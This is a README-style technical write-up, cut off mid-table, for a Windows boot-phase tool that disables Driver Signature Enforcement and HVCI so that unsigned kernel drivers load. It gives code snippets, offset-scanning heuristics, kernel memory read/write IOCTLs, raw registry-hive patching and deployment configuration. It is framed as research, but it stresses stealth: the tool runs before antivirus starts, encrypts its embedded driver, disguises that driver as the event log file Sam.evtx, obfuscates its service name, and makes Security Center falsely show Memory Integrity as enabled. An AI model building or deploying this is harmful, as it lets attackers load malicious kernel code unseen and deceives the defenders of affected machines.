Advanced native-mode utility for bypassing Driver Signature Enforcement and Memory Integrity.
Implements smart SeCiCallbacks patching and independent management of HVCI settings.
Operating as a subsystem:native application, it ensures early-phase control and environment preparation for security research and driver development.
| Author | Marek Wesołowski (WESMAR) | Contact | marek@kvc.pl · +48 607 440 283 |
| Year | 2026 | Domain | kvc.pl |
- Overview
- Architecture
- Boot-Phase Execution Context
- Resource Embedding — IDR_DRV
- Kernel Offset Discovery — SeCiCallbacks Scanner
- IOCTL Memory Primitives — RTC_PACKET
- DSE Patch/Restore Sequence
- HVCI Detection and Hive Patching
- Service Name Obfuscation — MmPoolTelemetry
- DSE State Persistence
- Configuration Reference — drivers.ini
- Research Notes — Algorithm Development
- Module Reference
- Build System
- Deployment
BootBypass is a Windows native-subsystem application (/SUBSYSTEM:NATIVE) that executes as a SMSS boot-phase program — before services.exe, before winlogon.exe, and before any antivirus or EDR user-mode component initializes. It delivers a complete, automated pipeline for:
- DSE bypass — patching
SeCiCallbacksin the live kernel to disable Code Integrity validation, loading an unsigned target driver, then restoring the original callback — all within a single atomic boot-phase sequence. - HVCI (Memory Integrity) bypass — directly modifying the
SYSTEMregistry hive on disk, without using any registry API, to clear theHypervisorEnforcedCodeIntegrity\Enabledflag before the next boot. - INI-driven operation — all actions declared in
C:\Windows\drivers.ini(UTF-16 LE). SupportsLOAD,UNLOAD,RENAME, andDELETEoperations, executed sequentially.
Secure Boot independence. Secure Boot validates the pre-OS chain — UEFI firmware → boot manager → Windows kernel. That chain is complete and sealed before SMSS launches its first process.
bb.exeexecutes inside an already-running, already-validated kernel session; Secure Boot has no mechanism to inspect or constrain native applications registered inBootExecute. The relevant enforcement boundary at this stage is DSE — which this utility addresses directly.
Archive password: github.com
Demonstrated outcome — unsigned kernel driver loaded and running:
sc query omnidriver
SERVICE_NAME: omnidriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
The project is a single native executable compiled from seven C translation units, two MASM modules, a shared header, and two embedded binary resources.
src/
├── BootBypass.h Global type definitions, NT API imports, constants
├── BootManager.c/.h Entry point (NtProcessStartup), privilege setup, main dispatch
├── SecurityPatcher.c/.h IOCTL read/write primitives, DSE patch/restore, AutoPatch sequence
├── OffsetFinder.c/.h PE parser, SeCiCallbacks heuristic scanner, ZwFlushInstructionCache locator
├── SetupManager.c/.h Resource extraction (IDR_DRV1/IDR_DRV2), HVCI detect/patch, hive NK/VK walker
├── DriverManager.c/.h NtLoadDriver, NtUnloadDriver, IsDriverLoaded
├── FileManager.c/.h NtSetInformationFile rename/delete, recursive directory delete
├── SystemUtils.c/.h memset, wcslen, wcscpy/wcscat safe ops, NtDisplayString, alloc/free
├── MmPoolTelemetry.asm Runtime service name decoder (MASM, obfuscated)
├── bbs.asm HvciShutdownSvc service binary (~4 KB pure MASM, /SUBSYSTEM:CONSOLE)
├── IDR_DRV1 Embedded kvc.sys blob (LZNT1-compressed + XOR-encrypted)
├── IDR_DRV2 Embedded bbs.exe blob (LZNT1-compressed + XOR-encrypted)
├── drivers.ini Boot-phase runtime configuration (UTF-16 LE)
└── resource.h / BootBypass.rc
rsc/
├── kvc.sys Raw bypass driver PE (source for IDR_DRV1)
└── bbs.exe Raw HVCI service PE (source for IDR_DRV2)
flowchart TD
A([NtProcessStartup]) --> B[Acquire privileges\nSE_LOAD_DRIVER · SE_BACKUP\nSE_RESTORE · SE_SHUTDOWN]
B --> C[ReadIniFile + ParseIniFile]
C --> D{Offsets in INI?}
D -- No --> E[FindKernelOffsetsLocally\nScan ntoskrnl.exe on disk]
D -- Yes --> F
E --> F{HVCI enabled?}
F -- Yes --> G[PatchSystemHiveHVCI\nDirect NK/VK hive write\nReboot]
F -- No --> H[ExtractBbsAndRegisterService\\nbbs.exe → System32\\nHVCIShutdownSvc key]
H --> I[For each INI entry]
H --> I{Action}
I -- LOAD + AutoPatch --> J[ExecuteAutoPatchLoad]
I -- LOAD --> K[LoadDriver]
I -- UNLOAD --> L[UnloadDriver]
I -- RENAME --> M[NtSetInformationFile]
I -- DELETE --> N[NtSetInformationFile\nrecursive if set]
J --> O[ExtractkvcFromResource\nXOR decrypt + LZNT1 decompress\nWrite to Sam.evtx]
O --> P[LoadDriver under obfuscated name]
P --> Q[OpenDriverDevice]
Q --> R[GetNtoskrnlBase\nNtQuerySystemInformation]
R --> S[ReadMemory64 → save callback\nWriteMemory64 → patch SeCiCallbacks+0x20]
S --> T[LoadDriver target unsigned driver]
T --> U[WriteMemory64 → restore callback]
U --> V[UnloadDriver + Cleanupkvc\nDelete Sam.evtx + registry key]
V --> W([SUCCESS])
BootBypass runs as a native application registered in:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
The default value is autocheck autochk *. deploy.ps1 appends bb to this multi-string, causing SMSS to launch bb.exe from %SystemRoot%\System32 on the next boot — before any Win32 subsystem process starts.
At this execution stage:
- No antivirus user-mode threads are alive.
- No ETW-based kernel callbacks are armed by security software.
- The kernel and its loaded boot drivers are running; the session manager has control.
NtDisplayStringwrites directly to the boot screen (visible whenVerbose=YES).
#pragma comment(linker,
"/SUBSYSTEM:NATIVE "
"/ENTRY:NtProcessStartup "
"/NODEFAULTLIB "
"/STACK:0x100000,0x100000")
#pragma comment(lib, "ntdll.lib")
#pragma optimize("", off)
#pragma check_stack(off)| Flag | Effect |
|---|---|
/SUBSYSTEM:NATIVE |
Loaded by SMSS; no Win32 initialization |
/ENTRY:NtProcessStartup |
NT native entry point; PEB passed directly by the loader |
/NODEFAULTLIB |
No CRT dependency; all string operations re-implemented in SystemUtils.c |
/STACK:0x100000,0x100000 |
1 MB committed stack; required for in-place LZNT1 decompression buffers |
#pragma optimize("", off) |
Prevents dead-code elimination of deliberate structural sequences |
#pragma check_stack(off) |
Disables /GS stack cookies; consistent with native binary conventions |
The first action of NtProcessStartup is enabling four privileges via RtlAdjustPrivilege:
| Privilege | Purpose |
|---|---|
SeLoadDriverPrivilege (10) |
NtLoadDriver / NtUnloadDriver |
SeBackupPrivilege (17) |
Open the SYSTEM hive with backup intent |
SeRestorePrivilege (18) |
Write to the SYSTEM hive |
SeShutdownPrivilege (19) |
NtShutdownSystem after HVCI hive patch |
Two binaries are embedded directly into bb.exe as RCDATA resources (type 10) and never touch disk as standalone files before extraction. Both are protected by the same two-layer encoding applied at build time:
| Resource ID | Content | Purpose |
|---|---|---|
| IDR_DRV1 (101) | kvc.sys |
Kernel bypass driver |
| IDR_DRV2 (102) | bbs.exe |
HvciShutdownSvc service binary (~4 KB) |
The script processes both resources in a single run and auto-patches all four #define constants in SetupManager.c:
IDR_DRV1 pipeline:
Input: rsc\kvc.sys (raw PE, 14024 bytes)
↓
RtlCompressBuffer (LZNT1 + COMPRESSION_ENGINE_MAXIMUM)
→ compressed blob (9139 bytes, ~35% reduction)
↓
XOR encrypt, key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C } (7-byte rotating)
→ src\IDR_DRV1 (final resource blob, 9139 bytes)
IDR_DRV2 pipeline:
Input: rsc\bbs.exe (raw PE, 4096 bytes)
↓
RtlCompressBuffer (LZNT1 + COMPRESSION_ENGINE_MAXIMUM)
→ compressed blob (1759 bytes)
↓
XOR encrypt (same 7-byte key)
→ src\IDR_DRV2 (final resource blob, 1759 bytes)
The script then regex-patches SetupManager.c in-place, preserving whitespace alignment, updating all four constants:
#define kvc_SIZE 9139 // compressed+encrypted size of kvc.sys
#define kvc_UNCOMPRESSED_SIZE 14024 // original kvc.sys PE size
#define bbs_SIZE 1759 // compressed+encrypted size of bbs.exe
#define bbs_UNCOMPRESSED_SIZE 4096 // original bbs.exe PE sizeThese are verified at runtime: if a resource size does not match its _SIZE constant exactly, extraction fails immediately.
No Win32 resource API is available in the native subsystem. FindResourceData() locates an embedded blob by walking the PE resource directory manually, starting from the image base obtained directly from the PEB. The same walk is used for both IDR_DRV1 (ID 101) and IDR_DRV2 (ID 102):
// x64: PEB at GS:[0x60], ImageBase at PEB+0x10
imageBase = (PVOID)*(ULONGLONG*)((UCHAR*)__readgsqword(0x60) + 0x10);Walk path through the .rsrc directory tree:
IMAGE_RESOURCE_DIRECTORY (root)
└─ entry.Id == 10 (RT_RCDATA)
└─ IMAGE_RESOURCE_DIRECTORY (type level)
└─ entry.Id == 101 (IDR_DRV1 / kvc.sys)
│ └─ IMAGE_RESOURCE_DATA_ENTRY → kvc blob
└─ entry.Id == 102 (IDR_DRV2 / bbs.exe)
└─ IMAGE_RESOURCE_DATA_ENTRY → bbs blob
Before writing the driver to disk, ExtractkvcFromResource() checks for leftover state from a previous crash or incomplete run:
IsDriverLoaded(driverName)?
YES → NtUnloadDriver(service path)
→ NtOpenKey(service key) + NtDeleteKey
→ NtOpenFile(Sam.evtx) + FILE_DISPOSITION delete
This ensures idempotent operation regardless of prior crash.
// Step 1: XOR decrypt in-place
for (SIZE_T i = 0; i < kvc_SIZE; i++)
xorBuf[i] = srcData[i] ^ XOR_KEY[i % XOR_KEY_LEN];
// Step 2: LZNT1 decompress via ntdll
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,
decompBuf, kvc_UNCOMPRESSED_SIZE,
xorBuf, kvc_SIZE,
&finalSize);If finalSize != kvc_UNCOMPRESSED_SIZE, the extraction is aborted — no partial file is written.
The decompressed PE is written to:
\SystemRoot\System32\winevt\Logs\Sam.evtx
This path was chosen because:
- The Windows Event Log service (
EventLog) is not yet running during the SMSS boot phase — no sharing violation. - The filename and directory are indistinguishable from legitimate Windows telemetry to a casual observer.
- The file is deleted by
Cleanupkvc()immediately after the bypass driver is unloaded — zero permanent footprint.
Cleanupkvc() unconditionally:
- Opens
Sam.evtxwithDELETEaccess and setsFILE_DISPOSITION_INFORMATION.DeleteFile = TRUE. - Opens the service registry key under
HKLM\...\Services\<name>and callsNtDeleteKey.
When Offset_SeCiCallbacks or Offset_SafeFunction are missing from drivers.ini, FindKernelOffsetsLocally() reads ntoskrnl.exe directly from disk and scans it — no PDB download, no network access, no symbols. The scanner uses three phases tried in order, covering all builds from Windows 10 1607 (RS1) onward.
Located by a simple export table name scan. The RVA is read from the export directory:
Export directory → name table → find "ZwFlushInstructionCache" → ordinal → function RVA
This function is used as the patch target: writing its address into SeCiCallbacks+0x20 causes CiValidateImageHeader to immediately return success for all drivers, bypassing signature verification.
SeCiCallbacks is an undocumented kernel global — not exported, not in any public symbol. The scanner finds it through three methods tried sequentially, providing coverage from Windows 10 1607 (RS1) to current.
A quick pass looking for LEA r64, [RIP+rel32] instructions where the target lands in a writable section at SeCiCallbacks + 4. Immediately scored and accepted if the total exceeds FAST_MIN_SCORE (110).
Full exhaustive scan of all executable sections for the characteristic SepInitializeCodeIntegrity initialization sequence:
Target instruction pattern — a RIP-relative DWORD store of the struct size into the callbacks struct:
C7 05 <rel32> <imm32> ; MOV DWORD PTR [rip+disp], <struct_size>This is a 10-byte instruction (C7 05 form, not the 48 C7 05 QWORD form). The displacement points to a writable data section — SeCiCallbacks itself.
Scoring system: Each candidate is evaluated by a multi-factor scoring algorithm:
| Evidence | Points |
|---|---|
| Base score for matching RIP-relative DWORD store to writable data | 80 |
imm32 within expected struct-size range [0x40, 0x4000] |
(required) |
imm32 == 0x108 (known SeCiCallbacks flags value) |
+12 |
Preceding RIP-relative LEA points to target+4 in writable data |
(required) |
Zeroing of EDX/R8D (xor edx,edx / xor r8d,r8d) before struct init |
+1 (per item) |
Struct size constant in r8d / r9d (41 B8 or 49 C7 C0, value 0x40–0x400) |
+1 |
CALL instruction appears after the zeroing + size sequence |
+1 |
| Each point from zeroing window multiplied by 12 | |
Nearby QWORD store within 0x20 bytes (48 C7 05 / 48 89) to writable data |
+8 |
| qword store gap < 24 bytes | 30 − gap |
struct size matches: qword_target_rva − lea_target_rva == struct_size |
+18 |
imm32 == struct_size + 12 (common SeCiCallbacks layout) |
+18 |
imm32 == struct_size + 8 or +16 |
+6 |
qword_delta == imm32 − 8 (pointer-and-size layout) |
+20 |
| Distance penalty (LEA distance / 32, max 12) | −(0..12) |
Minimum qualifying score: 110. The scanner uses the PE exception directory (.pdata, IMAGE_RUNTIME_FUNCTION_ENTRY) to constrain the backwards search window to the containing function's prologue. Observed scores on correct candidates: 120–185 points.
On Windows 10 1607 (RS1) and 1703 (RS2) the kernel's CipInitialize does not call RtlZeroMemory on the callbacks structure, so the structural scan never accumulates enough score. The legacy phase falls back to searching for the single reliable constant — the flags DWORD store:
C7 05 <rel32> 08 01 00 00 ; MOV DWORD PTR [rip+disp], 0x108Any C7 05 (plain DWORD form, not 48 C7 05 QWORD form) writing the value 0x108 into a writable section is accepted as the SeCiCallbacks location. This is the only pattern that has been consistent across all builds from RS1 onward.
Callback offset: hardcoded to 0x20 (32 bytes into SeCiCallbacks). This is the slot for CiValidateImageHeader, the callback that validates PE code integrity before loading.
ntoskrnl.exe is opened with NtOpenFile + FILE_READ_DATA | SYNCHRONIZE, mapped into user memory via NtAllocateVirtualMemory, and read with NtReadFile. All section boundaries are parsed from the PE header — no kernel mapping, no LoadLibrary.
The bypass driver exposes arbitrary 32-bit kernel virtual memory read and write via a simple IOCTL interface. Communication uses the following structure:
typedef struct _RTC_PACKET {
UCHAR pad0[8]; // offset 0 — reserved
ULONGLONG addr; // offset 8 — target kernel virtual address
UCHAR pad1[8]; // offset 16 — reserved
ULONG size; // offset 24 — transfer size (always 4)
ULONG value; // offset 28 — read result / write value
UCHAR pad3[16]; // offset 32 — reserved
} RTC_PACKET; // total: 48 bytesBecause the IOCTL only supports 32-bit transfers, 64-bit read/write is decomposed into two consecutive 32-bit operations:
// WriteMemory64: low DWORD first, high DWORD at address+4
WriteMemory32(hDriver, address, (ULONG)(value & 0xFFFFFFFF), ioctl_write);
WriteMemory32(hDriver, address + 4, (ULONG)((value >> 32) & 0xFFFFFFFF), ioctl_write);
// ReadMemory64: two reads, reassembled
low = ReadMemory32(hDriver, address, ioctl_read);
high = ReadMemory32(hDriver, address + 4, ioctl_read);
*value = ((ULONGLONG)high << 32) | low;The IOCTL codes are read from drivers.ini (IoControlCode_Read, IoControlCode_Write) — no hardcoded constants in the binary.
Kernel device handle is obtained via NtOpenFile on the device path declared in DriverDevice. If the path ends with kvc, it is resolved at runtime to \Device\<MmGetPoolDiagnosticString()> — see §9.
ExecuteAutoPatchLoad() performs the complete bypass in five steps:
STEP 1 ExtractkvcFromResource()
XOR decrypt + LZNT1 decompress IDR_DRV → Sam.evtx
LoadDriver(obfuscated_name, Sam.evtx, "KERNEL", "SYSTEM")
STEP 2 OpenDriverDevice(\Device\<obfuscated_name>)
GetNtoskrnlBase (NtQuerySystemInformation class 11)
STEP 3 callbackToPatch = ntBase + Offset_SeCiCallbacks + Offset_Callback (0x20)
safeFunction = ntBase + Offset_SafeFunction
ReadMemory64(callbackToPatch) → save originalCallback + DSE_STATE to drivers.ini
WriteMemory64(callbackToPatch, safeFunction) ← DSE disabled
STEP 4 LoadDriver(target_service, target_image_path) ← unsigned driver loads
STEP 5 WriteMemory64(callbackToPatch, originalCallback) ← DSE restored
UnloadDriver(obfuscated_name)
Cleanupkvc() ← Sam.evtx + registry deleted
If any step fails after the patch write (steps 4–5), the original callback is already persisted in [DSE_STATE] — it will be restored on the next boot from the saved value.
HVCI status is read from the live registry at boot time:
HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\
Scenarios\HypervisorEnforcedCodeIntegrity\Enabled (REG_DWORD)
If Enabled == 1, direct memory patching via IOCTL would fail (HVCI prevents writable kernel code). The tool switches to hive patching mode.
PatchSystemHiveHVCI() opens \SystemRoot\System32\config\SYSTEM directly with FILE_OPEN_FOR_BACKUP_INTENT | FILE_READ_DATA | FILE_WRITE_DATA (requires SeBackupPrivilege + SeRestorePrivilege). It operates entirely without the registry API — reading and modifying the raw binary hive file.
Scan strategy — chunked 1 MB reads with 256-byte overlap:
The hive file is scanned in 1 MB chunks. Each chunk is searched for the 31-byte ASCII literal:
HypervisorEnforcedCodeIntegrity
When the pattern is found at offset p within a chunk, the scanner validates that it belongs to an NK (key) cell — not a value blob — by checking the two-byte signature at p - 0x4C:
chunkBuffer[p - 0x4C] == 0x6E && // 'n'
chunkBuffer[p - 0x4C + 1] == 0x6B // 'k'The NK cell header layout at p - 0x4C:
| Offset | Field | Verification |
|---|---|---|
| +0x00 | NK signature | 0x6E 0x6B — required |
| +0x04 | values count | must be 1–256 |
| +0x08 | values list offset | raw hive offset |
| +0x4C | key name (ASCII) | HypervisorEnforcedCodeIntegrity |
Values list walk:
The values list is a flat array of ULONG hive offsets, one per value. Each offset is resolved to an absolute file offset as 0x1000 + cell_offset (skipping the 4 KB hive header). For each VK (value) cell:
| VK offset | Field | Expected |
|---|---|---|
| +4 | VK signature | 0x76 0x6B |
| +6 | name length (USHORT) | 7 (ASCII) or 14 (Unicode) |
| +8 | data length | 0x80000004 (inline REG_DWORD) |
| +12 | inline data | current DWORD value |
| +16 | data type | REG_DWORD (4) |
| +20 | flags | bit 0 set = ASCII name |
Name match: compares 7 bytes "Enabled" in ASCII (flags bit 0 set) or 7 UTF-16 LE codepoints (flags bit 0 clear).
Write and verify:
writeOffset.QuadPart = vkFileOffset + 12; // inline REG_DWORD payload
NtWriteFile(hFile, ..., &newValue, 4, &writeOffset);
// Immediate read-back verification
NtReadFile(hFile, ..., &verifiedValue, 4, &writeOffset);
assert(verifiedValue == newValue);After successful patch, NtFlushBuffersFile flushes to physical media. The tool then calls NtShutdownSystem(1) to reboot — the patched hive takes effect on the next boot. On the boot after the reboot, HVCI is no longer active and the DSE bypass proceeds normally.
Windows 10 compatibility: On Windows 10 the VK cell for Enabled can reside megabytes away from its NK cell in the hive file. The 256-byte chunk overlap prevents missing patterns at chunk boundaries; the values-list random-access reads handle distant VK cells regardless of their file position.
When RestoreHVCI=YES, HVCI must be fully re-enabled after the driver operations complete — and the Windows Security Center slider must be shown as active (right/on). Simply writing Enabled=1 back to the hive is not enough: DeviceGuard also validates WasEnabledBy and ChangedInBootCycle before it considers the protection state complete.
bb.exe handles this through a dedicated Windows service — HvciShutdownSvc — deployed as part of every run.
bbs.exe is built entirely from bbs.asm (pure x64 MASM, /SUBSYSTEM:CONSOLE, no CRT) and placed in System32. It is registered as an AUTO_START service (HvciShutdownSvc) by ExtractBbsAndRegisterService() during the boot phase, then started automatically by the SCM on the same and every subsequent boot. Binary size: 4096 bytes uncompressed.
The service implements two actions:
DoStartupAction — called when the service transitions to SERVICE_RUNNING:
1. NtQuerySystemInformation(SystemTimeOfDayInformation=3)
→ reads KeBootTime (precise kernel FILETIME, 100-ns ticks, UTC)
→ same source used by DeviceGuard for ChangedInBootCycle validation
→ NOT equivalent to Win32_OperatingSystem.LastBootUpTime
(that value drifts on Hyper-V after VMICTimeSync step correction)
2. RegOpenKeyExA(HKLM, DeviceGuard\...\HypervisorEnforcedCodeIntegrity)
3. Writes Enabled = 1 (REG_DWORD) → HVCI on
4. Writes WasEnabledBy = 2 (REG_DWORD) → "enabled by user / policy"
5. Writes ChangedInBootCycle = BootTime (REG_QWORD)
→ only written when existing value differs from the current BootTime,
matching the DeviceGuard update contract exactly
This fully satisfies the DeviceGuard heuristic — Windows Security Center shows the Memory Integrity slider in the right (on) position, representing complete HVCI protection.
DoShutdownAction — called when the SCM sends SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN, or SERVICE_CONTROL_PRESHUTDOWN:
RegSetValueExA(Enabled = 0) → HVCI off for next boot
Setting Enabled=0 at shutdown means the HVCI hive patch performed by bb.exe during the previous boot cycle has already taken effect — the driver operation completed, and HVCI is being cleared in preparation for the next run, without requiring a second reboot.
Previously, RestoreHVCI=YES required an extra reboot cycle: bb.exe would patch the hive to re-enable HVCI, then the OS would reboot again to apply it. With the service model:
bb.exepatches the hive to disable HVCI for the upcoming boot cycle, reboots once.- On the next boot, HVCI is disabled →
bb.exeruns → driver operations complete →bbs.exeis deployed and its SCM key is registered. - The SCM starts
HvciShutdownSvc→DoStartupActionwritesEnabled=1 + WasEnabledBy=2 + ChangedInBootCycle=BootTimeto the live registry → Security Center slider goes right. - At shutdown,
DoShutdownActionwritesEnabled=0→ prepares for the next run.
Only one reboot is ever required regardless of RestoreHVCI setting.
SetupManager.c exposes SetHVCIRegistryFlag(BOOLEAN enable) which writes the same three values (Enabled, WasEnabledBy, ChangedInBootCycle) to the live volatile registry key. It is called from BootManager.c when RestoreHVCI=YES to ensure the live registry reflects the intended state immediately — before the SCM has a chance to start the service — providing an additional safety net on the same boot.
The service name used for the bypass driver is not stored as a plain string anywhere in bb.exe. It is produced at runtime by MmGetPoolDiagnosticString() — an x64 MASM function in MmPoolTelemetry.asm that assembles the name from encoded immediate values.
The returned name appears in:
- The service registry key path (
HKLM\...\Services\<name>) - The device object path (
\Device\<name>) NtLoadDriver/NtUnloadDrivercalls
Device path resolution: drivers.ini declares DriverDevice=\Device\kvc as a placeholder. At runtime, if the last path component is exactly kvc, ExecuteAutoPatchLoad() replaces it with \Device\<MmGetPoolDiagnosticString()>:
SIZE_T nameStart = find_last_backslash(config->DriverDevice);
if (config->DriverDevice[nameStart] == L'k' &&
config->DriverDevice[nameStart+1] == L'v' &&
config->DriverDevice[nameStart+2] == L'c' &&
config->DriverDevice[nameStart+3] == L'\0') {
wcscpy_safe(resolved, MAX_PATH_LEN, L"\\Device\\");
wcscat_safe(resolved, MAX_PATH_LEN, MmGetPoolDiagnosticString());
devicePath = resolved;
}This means neither the real driver name nor the device path appear in any string table, import table, or resource of the binary.
If the process terminates abnormally between patching and restoring SeCiCallbacks, the original callback value would be lost — leaving DSE permanently disabled until the next kernel load. To prevent this, the original callback is persisted immediately after the read:
SaveStateSection() appends a [DSE_STATE] section to drivers.ini:
[DSE_STATE]
OriginalCallback=0xFFFFF80612345678On the next boot, LoadStateSection() reads this value before performing any operation. RemoveStateSection() strips the section from the file after a successful restore. Both operations parse and rewrite the UTF-16 LE INI file using only NT file APIs.
The configuration file is placed at %SystemRoot%\drivers.ini — decoded by bb.exe as \SystemRoot\drivers.ini. It must be encoded as UTF-16 LE with BOM (written automatically by deploy.ps1).
[Config]
Execute=YES ; NO = parse file but perform no operations
RestoreHVCI=NO ; YES = re-enable HVCI flag in hive after all operations
Verbose=NO ; YES = output to boot screen via NtDisplayString; NO = silent
DriverDevice=\Device\kvc ; Bypass driver device path; "kvc" resolved at runtime
IoControlCode_Read=2147492936 ; 0x80002048
IoControlCode_Write=2147492940 ; 0x8000204C
; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
; Fill in known values to skip the scan (faster on repeated runs).
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20 ; offset within SeCiCallbacks to CiValidateImageHeader
;Offset_SafeFunction=0x0If both
Offset_SeCiCallbacksandOffset_SafeFunctionare 0,FindKernelOffsetsLocally()scansntoskrnl.exeat boot time and populates them automatically. The offsets are not written back to the file — the scan runs on every boot if they are absent.
[Driver0]
Action=LOAD
AutoPatch=YES ; YES = full DSE bypass cycle; NO = direct NtLoadDriver
CheckIfLoaded=NO ; YES = skip if driver already running
ServiceName=omnidriver ; SCM service name (registry key)
DisplayName=omnidriver ; Display label (boot screen only)
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM[Driver1]
Action=UNLOAD
ServiceName=omnidriver
DisplayName=Unload omnidriverRename/move a file or directory (pre-boot, before any file locks are established):
[Op0]
Action=RENAME
DisplayName=Rename my file
SourcePath=\SystemRoot\System32\oldname.dll
TargetPath=\SystemRoot\System32\newname.dll
ReplaceIfExists=YESDelete a file or directory tree:
[Op1]
Action=DELETE
DisplayName=Remove temp artifact
DeletePath=\SystemRoot\Temp\artifact.bin
RecursiveDelete=NOAll paths use NT-style format — no drive letters.
\SystemRootis the kernel alias for the Windows installation root, resolved independently of which drive Windows is installed on.
Up to 64 entries (MAX_ENTRIES) are supported per file. Entries are processed sequentially in declaration order. AutoPatch=YES entries extract the bypass driver, use it, and clean up before proceeding to the next entry.
; ============================================================
; BootBypass Configuration — UTF-16 LE with BOM
; ============================================================
[Config]
Execute=YES
RestoreHVCI=NO
Verbose=NO
DriverDevice=\Device\kvc
IoControlCode_Read=2147492936
IoControlCode_Write=2147492940
; Kernel offsets — commented out = auto-scanned at boot from ntoskrnl.exe.
;Offset_SeCiCallbacks=0x0
Offset_Callback=0x20
;Offset_SafeFunction=0x0
; --- Load unsigned target driver with DSE bypass ---
[Driver0]
Action=LOAD
AutoPatch=YES
CheckIfLoaded=NO
ServiceName=omnidriver
DisplayName=omnidriver
ImagePath=\SystemRoot\System32\drivers\omnidriver.sys
DriverType=KERNEL
StartType=SYSTEM
; --- Rename a file before Windows session starts ---
[Op0]
Action=RENAME
DisplayName=Swap library
SourcePath=\SystemRoot\System32\mylib_new.dll
TargetPath=\SystemRoot\System32\mylib.dll
ReplaceIfExists=YES
; --- Delete a leftover artifact ---
[Op1]
Action=DELETE
DisplayName=Remove temp
DeletePath=\SystemRoot\Temp\setup_artifact.tmp
RecursiveDelete=NOThe HVCI bypass via raw hive patching required understanding a non-obvious structural difference between Windows generations that is not documented anywhere publicly.
Windows 11 — compact hive layout. The HypervisorEnforcedCodeIntegrity NK cell and its Enabled VK cell are stored close together in the hive file — typically within a few kilobytes. A simple forward scan finds the key name and the value data nearby with high reliability.
Windows 10 — scattered layout. Microsoft's registry compaction on Windows 10 places the VK cell for Enabled at a completely unrelated file offset, potentially megabytes away from the NK cell that references it. A naive contiguous scanner finds the key name, reads the values-list offset from the NK header, then must perform an entirely separate random-access read to a distant file position to reach the actual VK cell.
Understanding this required:
- Opening raw
SYSTEMhive files from both Windows versions in a hex editor. - Manually tracing the NK → values-list → VK chain at the binary level: 4-byte cell sizes, the
0x1000base offset of the first hive bin, the inlineREG_DWORDencoding at VK offset+12. - Confirming that the NK signature (
nk=0x6E 0x6B) appears exactly0x4Cbytes before the key name in the cell, and the VK signature (vk=0x76 0x6B) at+4within the value cell.
The implementation handles both layouts via chunked 1 MB reads with 256-byte overlap (preventing missed patterns at chunk boundaries) combined with random-access NtReadFile calls for values-list and VK data regardless of their file position. Write is followed by an immediate read-back verification before NtFlushBuffersFile commits the change to disk.
Finding SeCiCallbacks without PDB symbols across arbitrary Windows kernel builds required a full reverse engineering process before a single line of C was written.
Goal: Locate two offsets in ntoskrnl.exe at boot time — fully offline, no internet, no symbol server:
Offset_SeCiCallbacks— RVA of the undocumentedSeCiCallbacksglobalOffset_SafeFunction— RVA ofZwFlushInstructionCache(patch target to neutralise CI)
Stage 1 — IDA analysis. Loaded ntoskrnl.exe in IDA Pro (x64). Navigated to SepInitializeCodeIntegrity — the function responsible for initialising the Code Integrity subsystem at boot. Observed the following characteristic initialization sequence:
lea rcx, SeCiCallbacks+4 ; LEA r64, [RIP+rel32] — points to struct+4
xor edx, edx ; zero fill value
mov r8d, 0FCh ; struct size for memset
call memset
mov cs:SeCiCallbacks, 108h ; C7 05 rel32 108h — flags field write
mov cs:qword_..., 0A000010h ; 48 C7 05 rel32 ... — nearby qword writeKey insight: the LEA points to SeCiCallbacks + 4 (not the base), so seci_rva = lea_target − 4. The C7 05 store immediately after memset writes the flags field (0x108 on observed builds). A nearby 48 C7 05 (QWORD store) appears within ~0x20 bytes into the same structure.
Stage 2 — Python prototype (find_seci.py). Implemented a complete offline scanner in Python to iterate quickly on heuristics:
# Anchor: find all C7 05 rel32 imm32 instructions in executable sections
# where target RVA lands in a writable, non-executable section
# and imm32 is in [0x40, 0x4000] (plausible struct size/flags)
for file_off in exec_section_range:
if data[file_off:file_off+2] != b'\xC7\x05':
continue
target_rva = compute_rip_relative(file_off, length=10, data=data)
if not is_writable_data(target_rva, sections):
continue
# Search backwards for matching LEA to target_rva + 4
# Score the candidate by zeroing window, qword proximity, size matchThe prototype went through three iterations:
- v1 — single tight byte pattern near
SepInitializeCodeIntegrity. Too brittle across compiler versions. - v2 — hybrid: fast path (precise manual decode of
C7 05+ nearby48 C7 05) + structural scan using.pdataRUNTIME_FUNCTIONbounds as function delimiters. - v3 — scoring system + legacy anchor fallback: multiple independent signals weighted by confidence; minimum threshold prevents false positives; RS1/RS2 fallback on the
0x108flags store for builds where the zeroing pattern is absent.
Validated output on a local build:
Offset_SeCiCallbacks = 0xF047A0
Offset_SafeFunction = 0x6A7760
Offset_Callback = 0x20
Stage 3 — Port to C (OffsetFinder.c). The Python algorithm was ported to pure C with no CRT dependency, operating directly on a memory-mapped copy of ntoskrnl.exe loaded via NtReadFile. The three-phase strategy (Fast → Structural → Legacy) maps 1:1 to the Python prototype. The scoring engine (ScoreZeroingWindow, FindRuntimeFunctionBounds, FindNearbyQwordStore) is identical to v3. Minimum score threshold: 110 points. Observed scores on correct candidates: 120–185 points. Coverage: Windows 10 1607 (RS1) through current.
The ZwFlushInstructionCache RVA is found by a simple export table name scan — it is a public export, present on all builds, resolved without any heuristic.
| Module | Responsibility |
|---|---|
BootManager.c |
NtProcessStartup entry, privilege setup, INI load, HVCI check gate, ExtractBbsAndRegisterService call, entry dispatch loop |
SecurityPatcher.c |
WriteMemory32/64, ReadMemory64, GetNtoskrnlBase, OpenDriverDevice, ExecuteAutoPatchLoad, SaveStateSection, LoadStateSection, RemoveStateSection |
OffsetFinder.c |
PE parser (ParsePe, FindExportRva), three-phase heuristic scanner (FindKernelOffsetsLocally), scoring engine (ScoreZeroingWindow), exception directory walker (FindRuntimeFunctionBounds) |
SetupManager.c |
